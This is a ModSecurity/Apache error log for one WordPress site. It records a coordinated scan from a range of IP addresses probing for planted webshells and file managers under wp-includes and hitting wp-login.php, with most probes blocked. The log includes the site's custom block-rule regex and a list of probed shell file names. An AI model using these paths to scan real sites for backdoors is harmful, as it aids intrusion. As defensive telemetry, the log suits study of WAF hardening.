[Thu Dec 11 18:32:16.969711 2025] [:error] [pid 57990:tid 58001] [client 31.171.130.87:27763] [client 31.171.130.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTqdsAqZT_dc36fQdXFpwAAAAAY"]
[Thu Dec 11 18:32:17.916126 2025] [:error] [pid 57992:tid 58067] [client 31.171.130.78:22531] [client 31.171.130.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.78, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTqdseUeau0BMFF2vHmYgwAAAJI"]
[Thu Dec 11 18:32:18.818978 2025] [:error] [pid 57992:tid 58069] [client 31.171.130.78:22531] [client 31.171.130.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aTqdsuUeau0BMFF2vHmYhgAAAJQ"]
[Thu Dec 11 18:32:20.590876 2025] [:error] [pid 58099:tid 58119] [client 31.171.130.55:45509] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aTqdtMKZVSF_bdPFqRj4CQAAANI"]
[Thu Dec 11 18:32:21.556738 2025] [:error] [pid 57991:tid 58029] [client 31.171.130.85:29685] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTqdtaPyGmNXA2ZsETaVFAAAAEc"]
[Thu Dec 11 18:32:24.244438 2025] [:error] [pid 58814:tid 58830] [client 31.171.130.57:39277] [client 31.171.130.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aTqduNiz0l9AD_3pkMwELAAAAc4"]
[Thu Dec 11 18:32:25.146023 2025] [:error] [pid 57992:tid 58064] [client 31.171.130.53:44983] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aTqdueUeau0BMFF2vHmYiAAAAI8"]
[Thu Dec 11 18:32:28.327807 2025] [:error] [pid 58099:tid 58110] [client 31.171.130.76:35545] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTqdvMKZVSF_bdPFqRj4EwAAAMk"]
[Thu Dec 11 18:32:30.151759 2025] [proxy_fcgi:error] [pid 48261:tid 48271] [client 31.171.130.94:43101] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:32:31.689459 2025] [:error] [pid 48261:tid 48273] [client 31.171.130.94:43101] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aTqdv-yPI4WU-4JmiQOj5wAAAYk"]
[Thu Dec 11 18:32:32.604597 2025] [:error] [pid 35112:tid 35133] [client 31.171.130.81:34683] [client 31.171.130.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aTqdwJ9ZpQ0WIeJhsJdPzQAAAVM"]
[Thu Dec 11 18:32:34.397189 2025] [:error] [pid 35112:tid 35114] [client 31.171.130.94:48621] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aTqdwp9ZpQ0WIeJhsJdP3gAAAUA"]
[Thu Dec 11 18:32:35.277244 2025] [:error] [pid 58814:tid 58831] [client 31.171.130.74:21983] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aTqdw9iz0l9AD_3pkMwESQAAAc8"]
[Thu Dec 11 18:32:39.304932 2025] [:error] [pid 58099:tid 58116] [client 31.171.130.95:49125] [client 31.171.130.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aTqdx8KZVSF_bdPFqRj4LAAAAM8"]
[Thu Dec 11 18:32:40.233493 2025] [:error] [pid 58814:tid 58825] [client 31.171.130.77:63635] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aTqdyNiz0l9AD_3pkMwETgAAAck"]
[Thu Dec 11 18:32:42.890423 2025] [:error] [pid 57991:tid 58045] [client 31.171.130.74:32085] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTqdyqPyGmNXA2ZsETaVMAAAAFc"]
[Thu Dec 11 18:32:43.767097 2025] [:error] [pid 35112:tid 35132] [client 31.171.130.80:29009] [client 31.171.130.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTqdy59ZpQ0WIeJhsJdP8QAAAVI"]
[Thu Dec 11 18:32:44.668958 2025] [:error] [pid 58099:tid 58120] [client 31.171.130.66:37411] [client 31.171.130.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTqdzMKZVSF_bdPFqRj4LgAAANM"]
[Thu Dec 11 18:32:47.892812 2025] [:error] [pid 35112:tid 35132] [client 31.171.130.102:54213] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aTqdz59ZpQ0WIeJhsJdP_wAAAVI"]
[Thu Dec 11 18:32:49.266204 2025] [:error] [pid 58814:tid 58837] [client 31.171.130.74:51659] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aTqd0diz0l9AD_3pkMwEXQAAAdU"]
[Thu Dec 11 18:32:53.325367 2025] [:error] [pid 57991:tid 58035] [client 31.171.130.66:45613] [client 31.171.130.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.66, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aTqd1aPyGmNXA2ZsETaVPgAAAE0"]
[Thu Dec 11 18:32:56.057359 2025] [:error] [pid 57991:tid 58044] [client 31.171.130.66:45613] [client 31.171.130.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTqd2KPyGmNXA2ZsETaVSgAAAFY"]
[Thu Dec 11 18:32:56.947697 2025] [:error] [pid 57991:tid 58026] [client 31.171.130.102:41245] [client 31.171.130.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.102, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aTqd2KPyGmNXA2ZsETaVTQAAAEQ"]
[Thu Dec 11 18:33:02.018070 2025] [proxy_fcgi:error] [pid 57991:tid 58038] [client 31.171.130.102:41245] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:33:08.945323 2025] [:error] [pid 57991:tid 58022] [client 31.171.130.102:41245] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aTqd5KPyGmNXA2ZsETaVdwAAAEA"]
[Thu Dec 11 18:33:11.263948 2025] [:error] [pid 58814:tid 58838] [client 31.171.130.79:44129] [client 31.171.130.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTqd59iz0l9AD_3pkMwEhwAAAdY"]
[Thu Dec 11 18:33:13.118652 2025] [:error] [pid 57990:tid 58002] [client 31.171.130.70:28171] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aTqd6QqZT_dc36fQdXFp6gAAAAc"]
[Thu Dec 11 18:33:18.111205 2025] [:error] [pid 57990:tid 58019] [client 31.171.130.82:59435] [client 31.171.130.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTqd7gqZT_dc36fQdXFp9gAAABg"]
[Thu Dec 11 18:33:19.909841 2025] [:error] [pid 57990:tid 57997] [client 31.171.130.68:23227] [client 31.171.130.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aTqd7wqZT_dc36fQdXFp-gAAAAI"]
[Thu Dec 11 18:33:21.256522 2025] [:error] [pid 57990:tid 58015] [client 31.171.130.55:34615] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aTqd8QqZT_dc36fQdXFp_AAAABQ"]
[Thu Dec 11 18:33:23.990712 2025] [proxy_fcgi:error] [pid 57990:tid 58010] [client 31.171.130.94:30545] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:33:24.430912 2025] [proxy_fcgi:error] [pid 57990:tid 58003] [client 31.171.130.94:30545] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:33:24.888477 2025] [:error] [pid 57990:tid 58005] [client 31.171.130.94:30545] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aTqd9AqZT_dc36fQdXFqBgAAAAo"]
[Thu Dec 11 18:33:25.780062 2025] [:error] [pid 27459:tid 27468] [client 31.171.130.102:63015] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aTqd9VhPEXihPBKMpRM_VwAAAQc"]
[Thu Dec 11 18:33:29.930943 2025] [:error] [pid 58099:tid 58119] [client 31.171.130.72:33257] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aTqd-cKZVSF_bdPFqRj4VAAAANI"]
[Thu Dec 11 18:33:31.272596 2025] [:error] [pid 35112:tid 35122] [client 31.171.130.59:31377] [client 31.171.130.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aTqd-59ZpQ0WIeJhsJdQJgAAAUg"]
[Thu Dec 11 18:33:33.643123 2025] [:error] [pid 35112:tid 35129] [client 31.171.130.101:37539] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aTqd_Z9ZpQ0WIeJhsJdQPAAAAU8"]
[Thu Dec 11 18:33:37.683054 2025] [:error] [pid 57991:tid 58025] [client 31.171.130.60:62937] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aTqeAaPyGmNXA2ZsETaVpAAAAEM"]
[Thu Dec 11 18:33:38.572344 2025] [proxy_fcgi:error] [pid 57992:tid 58065] [client 31.171.130.67:36769] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:33:39.941248 2025] [:error] [pid 57992:tid 58059] [client 31.171.130.67:36769] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aTqeA-Ueau0BMFF2vHmYrwAAAIo"]
[Thu Dec 11 18:33:44.600466 2025] [proxy_fcgi:error] [pid 57991:tid 58045] [client 31.171.130.56:32851] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:33:45.501934 2025] [:error] [pid 57991:tid 58030] [client 31.171.130.56:32851] [client 31.171.130.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.56, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aTqeCaPyGmNXA2ZsETaVtAAAAEg"]
[Thu Dec 11 18:33:47.733670 2025] [:error] [pid 57991:tid 58034] [client 31.171.130.56:32851] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aTqeC6PyGmNXA2ZsETaVvAAAAEw"]
[Thu Dec 11 18:33:49.061929 2025] [:error] [pid 57991:tid 58033] [client 31.171.130.66:31489] [client 31.171.130.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aTqeDaPyGmNXA2ZsETaVvwAAAEs"]
[Thu Dec 11 18:33:52.896566 2025] [:error] [pid 48261:tid 48287] [client 31.171.130.89:51545] [client 31.171.130.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aTqeEOyPI4WU-4JmiQOkJQAAAZc"]
[Thu Dec 11 18:33:55.607723 2025] [:error] [pid 58099:tid 58112] [client 31.171.130.59:45411] [client 31.171.130.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aTqeE8KZVSF_bdPFqRj4bgAAAMs"]
[Thu Dec 11 18:33:56.966623 2025] [:error] [pid 58814:tid 58817] [client 31.171.130.64:65511] [client 31.171.130.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aTqeFNiz0l9AD_3pkMwEsQAAAcE"]
[Thu Dec 11 18:33:59.186204 2025] [:error] [pid 58814:tid 58826] [client 31.171.130.61:52843] [client 31.171.130.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aTqeF9iz0l9AD_3pkMwEuQAAAco"]
[Thu Dec 11 18:34:01.039205 2025] [proxy_fcgi:error] [pid 58814:tid 58836] [client 31.171.130.63:61789] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:34:01.509068 2025] [:error] [pid 58814:tid 58816] [client 31.171.130.63:61789] [client 31.171.130.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aTqeGdiz0l9AD_3pkMwEvgAAAcA"]
[Thu Dec 11 18:34:02.853205 2025] [:error] [pid 57991:tid 58045] [client 31.171.130.59:42723] [client 31.171.130.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aTqeGqPyGmNXA2ZsETaV1AAAAFc"]
[Thu Dec 11 18:34:03.759049 2025] [:error] [pid 27459:tid 27472] [client 31.171.130.56:47299] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aTqeG1hPEXihPBKMpRM_cQAAAQs"]
[Thu Dec 11 18:34:04.651964 2025] [:error] [pid 48261:tid 48272] [client 31.171.130.56:65189] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aTqeHOyPI4WU-4JmiQOkKgAAAYg"]
[Thu Dec 11 18:34:05.569108 2025] [:error] [pid 27459:tid 27462] [client 31.171.130.88:52905] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aTqeHVhPEXihPBKMpRM_dQAAAQE"]
[Thu Dec 11 18:34:06.460421 2025] [:error] [pid 57992:tid 58054] [client 31.171.130.100:37439] [client 31.171.130.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aTqeHuUeau0BMFF2vHmYzgAAAIU"]
